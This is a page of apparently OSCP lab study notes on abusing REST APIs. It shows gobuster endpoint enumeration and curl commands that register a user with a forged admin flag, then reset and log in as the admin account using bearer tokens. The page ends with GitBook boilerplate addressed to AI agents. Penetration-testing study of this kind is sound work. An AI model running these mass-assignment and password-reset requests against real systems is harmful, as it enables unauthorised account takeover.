> For the complete documentation index, see [llms.txt](https://aditya-3.gitbook.io/oscp/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://aditya-3.gitbook.io/oscp/readme/web-applications/abusing-apis.md).

# Abusing APIs

*Representational State Transfer* (REST) is used for a variety of purposes, including authentication.

Normally API patterns:

```
/api_name/v1
```

With gobuster: Create a `pattern` file:

```
{GOBUSTER}/v1
{GOBUSTER}/v2
```

And execute gobuster:

```bash
gobuster dir -u http://<ip> -w /usr/share/wordlists/dirb/big.txt -p pattern
```

Then use curl to access the API:

```bash
curl -i http://<ip>/users/v1
```

After getting the users API we can further check for more:

```bash
gobuster dir -u http://<ip>/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
```

If we get 405 METHOD NOT ALLOWED,etc we can try other methods.

We can try POST Method: `-d` for JSON data `-H` for Header

```bash
curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json'  http://<ip>/users/v1/login
```

Then we can add more *data* to fit the API:

```bash
curl -d '{"password":"lab","username":"admin","email":"admin@htb.com","admin":"True"}' -H 'Content-Type: application/json' http://<ip>/users/v1/register
```

Then to target password API:

```bash
curl  \
  'http://<ip>/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \
  -d '{"password": "pwned"}'
```

When editing values use *PUT* request

```bash
curl -X 'PUT' \
  'http://<ip>/users/v1/admin/password' \
  -H 'Content-Type: application/json' \
  -H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
  -d '{"password": "pwned"}'
```

Then login:

```bash
curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json'  http://192.168.50.16:5002/users/v1/login
```

To send curl request to **Burp Suite**:

```
--proxy 127.0.0.1:8080
```

Site Map can be used to organize API testing


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://aditya-3.gitbook.io/oscp/readme/web-applications/abusing-apis.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
